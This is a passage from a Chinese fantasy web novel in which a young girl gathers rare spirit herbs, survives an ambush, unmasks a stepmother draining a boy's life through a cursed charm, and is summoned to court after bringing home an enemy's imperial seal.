“所以,咱们能拿多少就拿多少好不好?神医爷爷,这里的灵草这么多,我要把这里的都拿到外面去种起来!”
“这样,不就能救更多的人了吗?”
墨长庚彻底哑口无言,他看着团团的小脸,想起她送给自己的千年雪参,喜欢到了心坎里,一把将她抱了起来:“说得对!好徒儿!那咱们就,能拿多少拿多少!”
“二位,辛苦一下,咱们不但要把这九清灵叶带走,其他的灵草,也都要!”
“有果实的摘果实,回去当种子,没有的,挖个根裹上土,一个别落,全部带走!”
“看看能不能种在外面,以后拿来入药,救更多的人!”
萧泽和萧二微笑点头:“好!”
几人一起动手,开始“收割”各种灵草,把外裳都脱下来做成包袱,带子,用来打包。
团团力气小,能帮得忙不多,在水边蹦来跳去,时不时捡起什么,装进自己的小绣囊里。
忙了快两个时辰,才总算是忙完了,起程返回。
萧泽打头,怀里抱着一大捆用外袍打包的灵草,走得小心翼翼。
团团走在中间,背着一个用自己的小衣裳做成的小包袱,里面装满了各种小果实。
萧二断后,手里也捧满了各色药草。
透明的琉璃桥横跨两侧,下方是令人眩晕的幽暗深渊。
就在三人行至桥的中间时,一道乌光从侧上方的岩壁阴影中激射而出,速度快得只留下一道残影,直奔走在队伍中间的团团!
第138章 给你留了啊
“小心!”
萧泽大喊一声,他双手被占,无法拔剑,千钧一发之际,只能猛地一个侧身,用肩膀撞向那道乌光,试图将其撞偏。
那乌光是一支三棱透骨镖,被萧泽一撞,方向微偏,却依旧冲着团团尖啸射来!
“小姐趴下!”
几乎在萧泽出声的同时,萧二的暴喝也已然响起。
团团反应极快,小身子毫不犹豫地往下一趴,紧紧伏在冰冷的琉璃桥面上。
“噗——!”
萧二来不及放下手中的药草,直接将那捧珍贵的、连土带根的灵草当成了盾牌,向前猛地一挡!
透骨镖深深嵌入其中,力道之大,震得他手臂发麻。
一击不中,躲在阴影中的人没有放弃。
第二道乌光紧随而至,这次竟是连珠两镖,一上一下,封**萧二所有闪避的角度,显然是要先解决掉这个最难缠的护卫。
“找死!”
萧泽此刻已放下了手中的灵草,腾出手,迅速掏出藏在靴筒里的短匕,循着暗器来路猛地掷出!
**化作一道银线,速度竟比那暗器还要快上三分!撞开了第一支飞镖,后劲极强地飞向对面的阴影。
“呃!”
阴影处传来一声闷哼。
几乎是同时,因为萧泽的干扰,那射向萧二的第二支镖准头一偏。
萧二抓住这电光火石的机会,将怀中的药草尽数抛开,腰间佩刀瞬间出鞘,雪亮的刀光冲着飞镖卷过!
“锵!”
那支透骨镖被刀光精准地磕飞,坠入下方无尽的黑暗之中。
萧二向前几步,持刀而立,将趴在桥面上的团团死死护在身后,看向暗器来源的岩壁。
只见一道黑影捂着肩头,踉跄着掉头而去,消失在错综复杂的岩缝之间。
萧二盯着那消失的背影,声音冰冷:“是那个姜信!”
他转身扶起仍趴着的团团,仔细检查,确认她毫发无伤,这才松了口气。
团团看了他一眼,又看了看萧泽:“二叔叔,大三哥,你们没事儿吧?”
萧泽警惕地盯着前方,生怕前面还有埋伏:“没事儿,快过去!”
三人加快脚步,迅速通过了这座危机四伏的透明桥梁。
直到看见他们的双脚全都踏上了坚实的土地,一直提心吊胆、等在洞口的墨长庚才长长地舒了一口气。
团团冲着他大喊:“神医爷爷!坏蛋跑啦!你快过来啊!”
墨长庚这才怀里抱着,后背背着,手上还提着满满当当的灵草,穿过琉璃桥,走了过来。
萧二弯腰将团团抱起,萧泽和墨长庚重新收拾了一下所有的灵草,一行人朝着谷内疾行而去。
姜信简单包扎了一下受伤的肩膀,迅速赶回了圣医谷的会客室。
公孙止正悠闲的翻看着案上的医书,有一搭没一搭地跟薛晋闲聊。
姜信并未入内,只是站在门外的阴影处,对着公孙止极快地摇了摇头
公孙止眉头一皱,废物!竟然没有得手!不好,他们人多,此地不宜久留。
他放下手中书册:“本殿下有事,先走了。”
“是!殿下!”薛晋连忙站起,亲自将他们送出了谷。
当团团一行人“满载而归”地出现在谷中时,所有圣医谷的弟子们都震惊了。
“他们拿的是什么?”
“好像是九清灵叶!”
“真的吗?”
“跟典籍上画得挺像,可谁也没亲眼见过啊!”
“什么?九清灵叶?!他们去过谷底了?”
“居然还能平安出来?”
“天哪!怎么拿了这么多?”
“快去禀报师傅!”
薛晋听说后,匆忙赶回,迎头撞见了他们。
当他看到几人怀里那几大捧、足够当柴火烧的九清灵叶,表情瞬间凝固,眼珠子瞪得溜圆,嘴角剧烈地抽搐起来。
“你!你们!”他指着那堆“灵叶柴火”,手都哆嗦了,心痛难忍,“这九清灵叶百年方才长成,你们怎么能拿这么多?”
团团小脑袋一扬,理直气壮:“不是你说的吗,让我们自己去找
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,找到了就可以拿走?”
她看了看几人手里拿的:“多吗?我们没都拔光啊!还给你留了一些呢!谁让你们自己不去摘嘛!放在那里多浪费呀!”
薛晋闻言,更是气得七窍生烟,咬牙切齿道:“你们未免太过分了!”
话未说完,他的目光眼神猛地凝固在几株被压在下面的、带着露珠的紫色小草上,马上声音都变了调。
“这,这是紫云琅玕?还有地玉髓芝?这些都是早已绝迹的灵药!”
他稳住心神,吸了口气:“这些灵草乃我圣医谷根基,我只允了你们拿走九清灵叶,并未许诺其他!还请诸位留下……”
“还请什么?”墨长庚慢悠悠打断了他,眼皮一抬,“你这小子,你是不是还想说,让老夫把吃进去的再吐出来?”
“哼,便是你爹薛通在此,他也不敢开这个口!怎么,如今你能做他的主了?”
薛晋一脸疑惑:“您认识家父?您是……”
墨长庚环视四周:“老夫墨长庚。当年我与你爹在昆仑山煮酒论药的时候,你小子还不知道在哪儿呢。”
“神医回春手?!”薛晋惊呼出声,连忙躬身,冲着墨长庚行了一个大礼:“晚辈不知神医驾到,多有得罪,万请海涵!”
墨长庚从鼻子里哼了一声,算是应了。
团团惊讶地看着他:“神医爷爷!原来你这么厉害哪!”
墨长庚得意非常:“你刚知道啊,乖徒儿!”
再次换来团团的一个白眼。
薛晋直起身来,脸上阴晴不定。
墨长庚与父亲渊源颇深,若自己动手强留,父亲得知必然不悦。
看来这灵草,今日是要不回来了。
这九清灵叶如此难得,自己几次三番去谷底都未能取得一株,如今这么多就在眼前,倒是可以替我了结一个心愿。
他对着墨长庚再次行礼:“既是前辈在此,晚辈自是不敢追讨。但晚辈有一事相求,还请前辈应准。”
墨长庚斜了他一眼:“直说,何事?”
第139章 他哪有什么福气可赐啊
“自古道,医者难自医,拙荆缠绵病榻已久,如今虽略有好转,但根基仍是不稳。”
“既然前辈在此,晚辈恳请您能为拙荆诊一诊脉象。”
“若这九清灵叶对症,还请留下几棵,给她服用。”
墨长庚看了看手里抱着的这一大捆,老脸有些挂不住:“呃,九清灵叶嘛,确实不少。好吧,老夫便去给令正瞧瞧。”
薛晋急忙行礼:“多谢前辈,请随我来。”
一行人来到一个精致的院落中,一个眉目分明,身着素衣的纤瘦女子款款而出。
薛晋急忙走上前扶住了她:“婉润!你怎么起来了?快回去歇着,这位是回春手神医墨老前辈,为夫请来给你诊脉的。”
纪婉润人如其名,面容慈祥,柔弱如水,观之便令人心生怜惜。
她对着墨长庚盈盈下拜:“小女子体弱多病,劳动神医了。”
团团看着她,小脑袋歪了歪,奇怪啊奇怪,怎么这个姨姨看起来,是个小孩子?
薛晋一脸柔情,扶着纪婉润走进屋内,屋内烧着炭炉,温暖如春。
一个大约五六岁的小男孩从桌边站起:“爹爹,娘亲。”
纪婉润急忙柔声道:“凌儿,快扶着些,别头晕跌倒了。”
“你母亲说的是。”薛晋点了点头,将纪婉润扶到桌边坐好,“这是犬子薛枝佑。”
薛枝佑十分乖巧,见到一群人进来,马上行礼:“薛枝佑见过长辈们。”
墨长庚点了点头:“乖。”
团团看着他,这个小哥哥好弱啊,弱得好像快要死掉的样子。
众人落座,墨长庚坐在纪婉润身旁的锦凳上。
纪婉润伸出纤细白皙的手腕,神态温顺,眉宇间带着病态的娇弱:“多谢神医。”
墨长庚伸出手搭上她的手腕,闭目凝神。
片刻后,他收回手:“夫人脉象虚浮,似有郁结,确是曾经久病缠身,但元气并无亏损之兆。”
薛晋闻言,脸上的神情登时放松了:”如此甚好。”
薛枝佑高兴地仰头看着纪婉润:“太好啦,娘亲!”
纪婉润抬起手,摸了摸他的头顶:“凌儿真乖,娘亲无碍。”
“你也要好生养着,只有你的身子也大好了,娘亲才能放心啊。”
薛枝佑一脸孺慕之情,点了点头:“嗯,孩儿知道啦。”
墨长庚看着薛枝佑:“令郎这气色确也欠佳。”
“既是一家人,病因或有关联,不妨让老夫一同诊视,或能寻得些许根源。”
薛晋忙命薛枝佑也伸出手腕,墨长庚再次搭脉,这一次,他的眉头却缓缓蹙起,指尖在薛枝佑腕上停留了许久,面色凝重。
“奇怪!当真奇怪!”他收回手,“夫人的脉象,乃久病初愈,虽虚但不弱。”
“但令郎这脉息却是根基枯竭之状,绝非寻常弱症!两者病症,竟然截然不同!”
薛晋点了点头:“前辈有所不知,凌儿并非婉润所生。”
“他的生母六年前因难产去世,婉润乃是我续娶的夫人。”
“凌儿早产,因此身子一直虚弱。我虽为他细心调养,却仍比寻常孩童病弱许多。”
“她们母子两个,一个久病缠身,一个长期体弱,我甚是忧心。”
“幸得神童求神明赐福于她们,如今才能得保安泰。”
墨长庚恍然大悟:“你是为了她们母子,才听命于那个大夏神童?”
薛晋点了点头:“圣医谷从不听命任何人,但神童有言在先,若想得他赐福,便要听命于他。”
“之前不知前辈驾到,多有不敬,还请莫要放在心上。”
纪婉润柔声道:“夫君不必担忧,我与凌儿都会好的。”
“既然我们都无碍,时辰也不早了,不如请前辈至前厅用个便饭,早些回去?”
言下之意,既然无事,便要送客。
团团越听眉头皱得越紧,又是那个偷神!
他不偷别人的东西就不错了,赐福?他哪有什么福气可赐啊:“他怎么给你们赐福的呢?”
薛晋冲着薛枝佑招了招手:“凌儿,过来。”
薛枝佑马上从锦凳上下来,走到他的身旁:“爹爹!”
薛晋从他的脖颈处轻轻拉出一条细细的金链,摘了下来,上面坠着一个异常精致,金镶玉的长命锁。
又冲着纪婉润一伸手:“把你戴的,拿出来给前辈看看。”
纪婉润闻言,低头从自己的脖颈处也掏出一条金链摘下,上面则垂着一把小巧非常,玉包金的小钥匙,递给薛晋。
她眼中含泪,情真意切地看着这两个物件:“殿下赐福时曾说,这‘同心锁钥’乃是他求得了神明见证的宝物,承载着无数神明的赐福。”
薛晋接口道:“不错,神童说,将这两样给
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她们母子俩一人戴上一个,从此便能气运相连,互保性命。”
“才不是这样呢!”
团团看一到这两件东西,马上便明白了过来。
她跑到她们面前,指着那对长命锁和钥匙,气得鼓鼓道:“你被他骗啦!那个神童是个坏蛋!”
“这两个东西,根本不能让她们互相保命!”
“只不过是把其中一个的命,给了另一个!”
“小姑娘,你怎能如此胡说?”纪婉润抬起双眼,饱含泪水,似是马上便要夺眶而出,楚楚可怜,“殿下与我们素未谋面,却仗义出手,慷慨相助,乃是一片慈心好意。”
“你不信?”团团小脑袋一歪,想了想,对着薛晋道:“你把这两个东西,给他们换着戴试试!”
“换过来?”薛晋面露迟疑。
纪婉润脸色微变,柔声劝阻:“夫君,此乃殿下所赐,岂可儿戏?若是触怒了神明……”
“你不敢吗?”团团盯着她:“要是真的神明都给你们赐福了,怎么会又不给了呢?”
薛晋犹豫片刻,一咬牙:“好!”
他迅速将纪婉润手中的钥匙挂在了薛枝佑的脖颈上,又将薛枝佑的金锁塞入了纪婉润的手中。
二人并无异状。
萧泽皱了皱眉:“团团,并无甚不同啊。”
话音刚落,只见手持金锁的纪婉润,脸上那层淡淡的红润竟肉眼可见地飞速褪去,眉宇间迅速笼罩上一层虚弱的灰败,仿佛久病缠身。
而脖颈挂着玉钥匙的薛枝佑,虽依旧瘦弱,但那张蜡黄的小脸上竟隐隐透出一丝血色!
“这……这!”薛晋目瞪口呆。
墨长庚与薛晋同时出手搭在两人的手腕上。
“她的脉象!怎会变得如此虚浮无力?与方才判若两人!”
“凌儿脉象虽仍弱,但比之前竟强健了许多!”
真相,赤裸裸地呈现在眼前!
众人瞬间都明白了,确如团团所说,这并不是互相扶持,而完全是用一个人的命,给另一个续命!
是损不足而奉有余!
钥匙是“生”之门,锁是“死”之锢!
谁拿着“钥匙”,谁就能掠夺持“锁”者的生机!
纪婉润脸色大变,神色惊惶。
薛晋满脸错愕,看向纪婉润的目光充满了怀疑和愤怒:“你的脉息前后相差如此之大,当真不知吗?”
第140章 你这个傻子啊
“那神童入谷之后,曾与你独处过片刻。”
“之后,他说赐福,你便满口答应,他说要圣医谷听命于他,也是你不停劝我应允!是不是那时你便已知晓?”
纪婉润目光闪烁,手中的长命锁如同烙铁般烫得她的手微微颤抖:“夫君,你怎能怀疑我?”
“我从何得知?我跟你一样,以为那是神童赐福所至啊!”
薛晋一把将那两件东西夺了过来,“此等邪物,留你作甚?”回手全扔进了屋内的炭炉中。
“嗤——!”
那两件精美的饰物发出了一声低弱的嘶喊,啪的一声裂开,两缕浓稠如墨的黑烟猛地从里面钻了出来,在炭炉里扭曲着、挣扎着,仿佛想要逃离。
却最终被窜上来的几个火舌彻底吞没,化为虚无。
此时,正骑在马上的公孙止,猛地捂住了胸口,一口鲜血狂喷而出,从马上滚落在地。
“殿下!”姜信急忙翻身下马,将他扶了起来。
公孙止面如白纸:“回,回去!找国师!”
纪婉润跪在薛晋面前,泪水涟涟:“夫君,你一定要相信我啊!”
“你想想,我平日是如何待佑儿的?谷中上下,有目共睹。”
“我待他视如己出啊!怎会明知此种伤他的邪术还会答应呢!”
“我真的是一无所知啊!”
“那神童欺世盗名,与我有何干系?夫君,你不是也信了他吗?”
“我一个足不出户的小小妇人,如何能与你的见识相比?”
薛晋迟疑了,看着她姣好的容颜,柔弱的模样,不由得伸出手想将她扶起。
纪婉润楚楚可怜地转向团团,声音带着哽咽:“小恩人,今日多亏了你,否则我们母子还被那神童蒙在鼓里!以为她是救命的恩人,谁知竟是催命的阎罗。”
她言辞恳切,情真意浓,说得墨长庚都微微点头:“夫人请……”
起字还未说出来,团团已走到薛枝佑面前:“小哥哥,你知道你戴的那个长命锁,会把你的命,像送点心一样,送给别人吗?”
薛枝佑茫然地眨了眨眼睛,摇了摇头:“命是自己的呀。怎么送给别人?”
团团立刻转过身,抬起小手指着脸色骤变的纪婉润:“这种坏法术,想要成功,两个人里面,必须有一个是知道的,而且还要心甘情愿才行哦!”
“小哥哥既然什么都不知道。那那个知道的、愿意的,就只有你啦!”
纪婉润脸上的血色“唰”地一下彻底褪得干干净净。
她张了张嘴,一双泪眼瞬间变得凌厉,惊讶,惶恐,狠厉……一闪而过。
所有人都看得清清楚楚。
一切言语狡辩,在这一刻都显得苍白无力。
“呵……呵呵……”薛晋发出一串比哭还难听的笑声,望着纪婉润,声音控制不住的颤抖,“三年前,你晕倒在谷外,气息奄奄。我救你回谷,为你疗伤治病。”
“你说你前来投亲,亲戚却早已搬走,孤苦无依。”
“我见你温柔解意,与你暗生情愫,结为连理。”
“我薛晋何曾亏待过你?你就是,就是这样报答我的?”
他的目光猛地转向一旁懵懂的薛枝佑,声音变得沉痛:“佑儿!你照顾他三年,嘘寒问暖,无微不至!”
“谷中谁不赞你一声贤良!你怎么忍心?你怎么忍心用他的命来续你自己的命?你的心呢?被狗吃了吗?”
字字泣血,挖心掏肺。
纪婉润脸上的慌乱渐渐平息。
她缓缓站起,理了理秀发,动作从容得近乎优雅。
她慢慢走到窗边,望着她住了三年的小院,轻轻叹了口气。
“你这个傻子啊。”
她的声音不再柔媚,变得平静而冰冷。
“三年前,我便是奉师命而来。本欲拜入老谷主门下,可惜他云游在外。”
“遇到你,本就是意外。”
“我委身于你,一为盗取圣医谷的医术典籍,二嘛,便是为了钻研这‘移花接木’的续命之术。”
“你这宝贝儿子,根基纯净,正是上好的药引,已为我续了三年性命。”
她顿了顿,语气既怜悯又嘲讽:“我看你待我至诚
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,又怜他年幼,始终未忍汲取过甚,只想细水长流。”
“呵呵,现在想来,真是妇人之仁。”
“那大夏神童眼光毒辣,一眼便看穿了我的把戏,也看出了我未尽全力。”
“她告诉我,这‘同心锁钥’可保佑儿无性命之忧,又能助我大功得成,呵呵,我竟信了他的鬼话。”
话音未落,她身形倏地一动,如一片羽毛,轻飘飘掠出窗外,落在院中。
萧二惊呼:“好轻功!”
“接着!”她头都未回,反手掷入一物。
薛晋下意识接住,是一个白色小瓷瓶。
“你若还肯信我一次,便将此丹给佑儿服下。”窗外传来纪婉润越来越远的声音,“自此,你我两不相欠。”
声音尚在回荡,她的人影已几个起落,消失无踪。
薛晋呆呆地握着那尚有余温的瓷瓶,望着她消失的方向,嘴唇动了动,但那一声呼唤终究是卡在喉咙里,化作了一声沉重的叹息。
墨长庚走上前,拿过药瓶,拔开塞子轻轻一嗅,脸色骤变。
他小心翼翼地将瓶中药丸倒在掌心,那是一颗通体浑圆、色如赤血的丹丸,丹药表面隐隐有光华环绕,异香扑鼻,闻之便令人精神一振。
“九转赤纹再生丹!”墨长庚惊呼出声,“传说此丹能重燃塑生机,弥合先天之本!此等疗伤圣药,早已失传!她究竟出自何门何派,竟然能有此物?”
窗外日影西斜,将房间割裂成明暗交织的碎片。
薛晋跌坐椅中,眼神空洞,仿佛被抽走了所有的力气。
一只冰凉的小手轻轻拉住了他的衣袖。
薛枝佑仰着小脸,眼里噙满了泪水,怯生生地问:“爹爹!娘亲她,是不是不要佑儿了?”
薛晋浑身一颤,猛地将儿子紧紧搂进怀里。
他将脸埋在孩子瘦弱的肩头,宽阔的肩膀剧烈地,无声地抖动起来。
众人见此场景,无不暗暗叹气。
团团瘪了瘪嘴,萧泽默默将她拉进怀中。
团团看着他:“大三哥,那个姨姨还会回来吗。”
第141章 你是去打劫了吗
萧泽无声的摇了摇头。
半晌后,薛晋恢复了平静,扬声道:“苏木,进来!”
一个白衣青年从院外匆匆走了进来,正是在谷口处拦住众人不让入谷的那位。
苏木行礼:“谷主,有何吩咐?”
薛晋环视屋内:“大恩不言谢,诸位日后若有用到我圣医谷之处,请尽管直言。”
“我尚有家事要处理,诸位请回罢。苏木,将前辈他们好生送出谷去,不得怠慢。”
“是!”苏木冲着众人拱手:“各位,请随我来。”
众人起身,墨长庚走到薛晋身边,拍了拍他的肩头:“莫要多想,若你爹回谷,告诉他,我在京城。”
薛晋点了点头。
团团看了看薛枝佑,从一堆灵叶里拽出了一大把,塞到他的手里:“这个给你!”
薛枝佑看着她,轻轻地嗯了一声。
众人马不停蹄,离开了圣医谷,起程回京。
马车的轱辘碾过官道上干裂的黄土,扬起一阵呛人的尘烟。
团团趴在车窗边,望着外面灰蒙蒙的天和一路皲裂的田地。
原本郁郁葱葱的田野,如今只剩一片枯黄,景象愈发荒凉。
经常能看到三三两两的流民,衣衫褴褛,面黄肌瘦,眼神麻木地沿着官道蹒跚而行。
马车缓缓停在一个茶摊前,稍作休整。
聚集在这里歇脚的人群中传来了低低的闲聊声。
一个苍老的声音叹着气:“唉,这老天爷,真是不给咱们活路了啊!”
“可不是吗!俺们村那条河,祖祖辈辈都没干过,今年彻底见了底!庄稼全死了!”
“我们那儿也是,几个月没下一滴雨,地裂开的都能塞进娃的拳头了!”
“这光景,可怎么活下去啊!”
一个人压低了声音:“你们听说了吗?”
“我一路走来,听见好多人都说,这可不是寻常的天灾!”
“是天谴!”
“天谴?”周围的人都冲着那人围了过去。
“嘘—!小声点!你不要命了?”
“咳!你让他说嘛!咱们这命,反正也不值什么!”
“这可不是我瞎编的啊!好多人都这么说的!”
“文绉绉的,说什么,天子失德,触怒神明!这才有了这么大的旱灾!”
“嘶——这话可不敢乱说!”
“怎么是乱说?你们想想,为啥就咱们烈国遭了这么大的灾?”
“人家大夏怎么没事儿?这不是明摆着吗?”
“你别说,他说的也有理啊!”
“还说什么了?”
……
马车里,墨长庚默默喝着茶,萧泽和萧二对视了一眼,脸色都沉了下来。
团团没听明白:“大三哥,天谴是什么啊?”
萧泽犹豫了一下:“就是,上天责怪下来的意思。”
团团还是没懂:“上天为什么会责怪呢?”
萧二接口道:“旱灾严重,流民遍地,老百姓就认为是有人做了不好的事情,所以老天爷生气了,不下雨了。”
“哦。”团团又问,”那是谁做了不好的事呢?”
萧二看了一眼萧泽,没有回答。
团团拉了拉萧泽的衣袖:“大三哥,二叔叔不知道,你告诉我呗。”
萧泽想了想,轻轻吐出两个字:“父皇。”
团团一脸困惑:“可是,皇伯父他没做错事啊!明明是那个偷神偷走了皇伯父的国运啊!”
萧泽摸了摸她的小脑袋:“团团,流言这东西,本就没有缘由的,都是胡说乱猜。”
“但是,怕就怕,说的人太多,每个人都这样说,就会出乱子了。”
团团笑了:“那大三哥跟他们说嘛,告诉他们不要说不就行啦!”
萧泽摇了摇头:“流言这东西,越不让说,他们越觉得是真的,拦不住,也没办法拦的。”
团团伸出小手,挠了挠自己的脑袋,想不明白。
萧泽笑了笑:“走啦!咱们快点儿回京城吧!”
马车再度上路,一路疾驰而去。
终于,抵达了宁王府。
萧泽带着侍卫告辞而去。
团团一路跑进王府:“爹爹!娘亲!祖祖!我回来啦!”
程如安激动地小跑过来迎她,一把抱住,上上下下仔细端详:“我的团团哦!想不想娘亲?怎么瘦了这么多啊!”
团团摸了摸自己的脸蛋:“娘亲!我也想你啊!可是,我怎么觉得我没瘦,还胖了呢?”
程如安捏了捏她的小脸:“胖什么啊!就这张小脸儿上还有点儿肉了,晚上娘亲亲自下厨,给你做几道你最爱吃的菜,好不好?”
团团用力点头:“好!谢谢娘亲!”
萧元珩等她们娘儿俩说完了,才把女儿一把捞进了怀里,掂了掂:“你娘说得没错,就是瘦了!”
团团无奈地摇了摇头,明明没有嘛!
墨长庚面带微笑地看着,插嘴道:“那位汪……”
“对啊!汪叔叔好吗?”团团从父亲怀里溜到地上,拉起墨长庚的手就往外拽:“我们带了好多好多那个叶子回来呢!神医爷爷,咱们快去看汪叔叔吧!”
这章没有结束,请点击下一页继续阅读!萧元珩道:“他还在养正轩,慢点儿跑!郭太医每日都来,他病情很稳,就是一直没醒。”
几人来到养正轩,萧元珩抱着团团坐在一旁,墨长庚给汪明瑞诊了脉:“嗯,还行,我徒孙手艺还不错。”
他要来文房四宝,写下一个方子,递给萧元珩:“王爷,请按这个方子煎药给他服下。”
萧元珩接过药方:“此药能解他身上的毒?”
墨长庚瞄了他一眼:“那是自然!我回春手的医术什么时候出过错?”
萧元珩微微一笑:“多谢神医!”
团团扑到床边,望着汪明瑞熟睡一般的容颜:“汪叔叔,我给你把灵草带回来啦!你要快快好起来啊!”
墨长庚想起那些灵草:“好徒儿,那些灵草,为师想留在你这里,可有妥当的地方?”
“啊!对啦!灵草!“团团仰起小脑袋看着萧元珩,”爹爹!给我一个院子好不好?我们带回来好多灵草,打算种起来呢!”
萧元珩想了想:“药草吗?那就种在梨香苑吧,那里阳光足,院子里还有一眼井,正合适。”
墨长庚一听:“好,在哪里?老夫这就去。”
萧元珩吩咐下人,带着他过去了。
团团一脸神秘兮兮:“爹爹,我有好东西给你哦!”
“哦?”萧元珩看着自家闺女,“团团这次出远门,又带了什么好东西回来啊?”
“二叔叔!咱们带回来的东西呢?”
萧二捧着一堆东西进来:“都拿进来啦!小姐!”
萧元珩边看边听萧二在一旁一个一个介绍:“成形的何首乌,剑胚,定神珠,心魔石……”越听眼睛瞪得越大。
“团团,你这是,打劫去了吗?这些东西,无论哪一件,都足够震动京城的了!”
团团得意的尾巴都要上天了。
萧元珩的目光突然定住了:“这是,玉玺?!”
团团瞄了一眼,浑不在意:“对啊!这个石头疙瘩,就是大夏的玉玺啊!”
萧元珩震惊不已:“你怎么把人家的玉玺给拿回家来了?!”
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第142章 还让不让人睡觉啦
萧二急忙将如何得到玉玺的经过,简单讲了一遍。
萧元珩听闻神童就是大夏皇子,竟然还对团团暗下杀手,顿时气得虎目圆睁:“这个小兔崽子!居然敢动我闺女!”
他蹲下身,心疼地搂紧了团团:“放心,闺女,有这个玉玺在,爹爹定会从他们身上,连本带利,咬下块肉来!”
团团搂着他的脖子,用力点头:“嗯!爹爹使劲咬!爹爹最好啦!”
萧元珩将女儿送回静兰苑,嘱咐程如安好好给团团洗个澡,多做些好吃的,自己带上玉玺,径直来到了紫宸殿面圣。
萧杰昀看着龙案上的玉玺,表情有些割裂。
玉玺这种东西,怎会流落在外?朕不是在做梦吧。
“这,当真是大夏的玉玺?”
萧元珩简单解释了玉玺的来历,将团团如何得到,那大夏神童如何开价要买后来又想夺走,皆未能如愿,都讲了一遍。
萧杰昀这才有了几分真实感。
他拿起玉玺,仔细把玩,不禁开怀大笑:“哈哈哈!朕的郡主果然非比寻常!竟然把大夏的命根子都给朕抱回来了!”
萧元珩面带微笑:“想必那大夏皇子此时已将这消息带回去了。如今,大夏皇帝定是坐立不安。”
萧杰昀点了点头:“他们越急,朕越可稳如泰山,团团干得好啊!简直是好极了!此功之大,可抵朕的千军万马!”
“元珩,明日早朝,带她来!朕要当着文武百官的面,风风光光地给她封赏!让他们都看看,什么叫天佑我烈国!”
“臣遵旨。”
萧元珩回到王府,将这个消息告诉了团团,程如安惊呆了:“陛下命团团上朝?”
团团抬起头,皱着眉:“上朝?我吗?”
萧元珩看着闺女:“对啊!明日一早,跟爹爹一起,寅时起,卯时去上早朝。”
“寅时?!”团团的眼睛顿时瞪得溜圆:“我不去!那么早!天都没亮!我要睡觉!”
程如安无奈扶额:“乖,那是圣旨,不能不去。”
团团不高兴了,撅着嘴小声嘀咕:“皇伯父真是的!干嘛非要人家去嘛!还让不让人睡觉啦!”
她越想越委屈,脑袋顶上那撮本就翘着的头发,气的又立起来几分。
萧元珩被她萌得心头发软,大手胡噜了一把那撮小头发:“无妨,就一天,爹爹抱着你去,你睡你的,吵不着你,好不好?又不是天天去。”
次日,深秋的寅时,京城尚沉浸在一片墨色里,寒气刺骨。
团团被程如安从暖烘烘的被窝里挖出来时,眼皮像是粘在了一起,小脑袋耷拉着,像只没睡醒的小猫,任凭摆布。
洗漱梳妆之后,萧元珩用厚厚的狐裘披风把团团裹成了一个严实的球状,抱进了温暖的马车。
马车驶入宫门,文武百官已列队等候,一个个冻得面色发青。
唯有萧元珩,怀里抱着个鼓鼓囊囊的“披风团子”,格外显眼,引来周围诸多诧异的目光。
大殿内炭火充足,驱散了寒意。
众臣山呼万岁之后,萧杰昀一眼便瞧见了萧元珩怀里的小团子,含笑道:“宁王辛苦,赐座。”
萧元珩刚抱着女儿坐下,镇国侯韦政秋便率先出列,声音无比沉痛:“陛下!如今旱魃肆虐,流民哀鸿,民间盛传此乃天谴!”
“若不能平息天怒,恐民心背离,国本动摇啊!”
靖海侯周锦华立即附和:“陛下,天意难测。为江山社稷,为天下万民,臣恳请陛下颁下罪己诏,以安民心!”
“臣附议!”
“臣也附议!”
“请陛下三思啊!”
萧元珩眉头紧皱:“荒谬!天灾乃自然之变,与陛下何干?尔等不思如何救灾安民,反以此无稽之谈逼迫君上,是何居心!”
“王爷此言差矣!并非我等胡言啊!而是民意如此。百姓们皆在传,若非陛下失德,何以大夏风调雨顺,独我烈国灾祸连连?”韦政秋咄咄逼人。
“正是!宁王虽有战功,却不可因私废公,置天下于不顾!”
两方争执不下,殿内顿时声音嘈杂。
萧杰昀清了清嗓子:“众卿,争论暂且搁置。朕,有一物要与众卿同观。”
程公公双手捧着一个覆着明黄绸布的托盘,稳步走到御阶前。
萧杰昀亲手挥落绸布,一方雕琢古朴、气韵天成的玉玺呈现现于众人眼前。
“此乃,大夏之传国玉玺。”
众臣尽皆大惊:“大夏玉玺?!”
“怎会在陛下手中?”
“当真是玉玺?”
萧杰昀的目光落在萧元珩怀里的小团子身上:“此乃嘉佑郡主为朕、为我烈国立下的不世奇功!”
韦政秋行礼,语气焦急:“陛下!此物虽好,却是祸端!”
“大夏与我烈国如今交好,若强占其国玺,必惹战火!”
“不如主动送还,以示我烈国的亲好睦邻之诚意,可免刀兵之祸!”
“荒谬!”萧元珩对着他怒目而视,“你口中的安好,是数年前边关大战,多少将士的性命换来的!”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“大夏狼子野心,从未停歇!”
“如今天佑烈国,玉玺落入陛下手中,正可挟制其命脉,岂有双手奉还、资敌壮大的道理!韦侯爷此举,与通敌何异!”
“宁王!你休要血口喷人!”
眼看争端再起,萧杰昀抬了抬手:“够了!玉玺既已落在朕的手中,断无轻易送出之理。”
“众卿不必争论,且看大夏下一步动作如何。此事,容后再议。”
他环视众臣:“嘉佑郡主立此奇功,理当重赏。”
“朕决议,赐嘉佑郡主食邑五千户,信中为其封地,以彰其功!”
话音刚落,殿内一片哗然。
“陛下!封地食邑乃公主规制,嘉佑郡主获此封赐,恐有不妥啊!”
萧杰昀冷哼一声:“诸位爱卿若是不服,也可一试。”
“若也能为朕带回一方敌国玉玺,朕,同样许他裂土封王!”
众臣闻言面面相觑,再无人敢多言。
韦政秋见状,再次将话题引回罪己诏。
“陛下!即便郡主有功于社稷,然天灾乃上天示警,关乎国本,罪己诏一事,万不可再拖啊!”
“民心似水,能载舟亦能覆舟,请陛下三思!”
“陛下若不下诏,恐四处将揭竿而起啊!”
一众大臣慷慨激昂,声调越来越高。
团团终于被这铺天盖地的吵嚷声惊得从睡梦中醒来。
无论她把披风拽得多严实,依旧挡不住外面的嘈杂。
当最后一丝睡意被彻底吵飞,积攒的起床气达到了顶点。
披风团子猛地一动!
团团挣扎着掀开身上的披风,从爹爹腿上站起,小小的身子摇摇晃晃地扶着爹爹的大脑袋才站稳。
她伸出小手指,指着叫嚷得最凶的韦政秋与周锦华,忍无可忍,发出了奶凶奶凶的咆哮:
“你们——吵、完、了、没、有、啊!!”
“还让不让人睡觉啦!!!”
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第143章 他才没那个本事呢
大殿瞬间陷入了诡异的寂静。
文武百官面面相觑,谁也没想到这小小的娃娃竟有如此胆量和气势,在大殿上咆哮。
萧元珩小心翼翼地扶着站在自己腿上的闺女,生怕她一个没站稳,掉到地上。
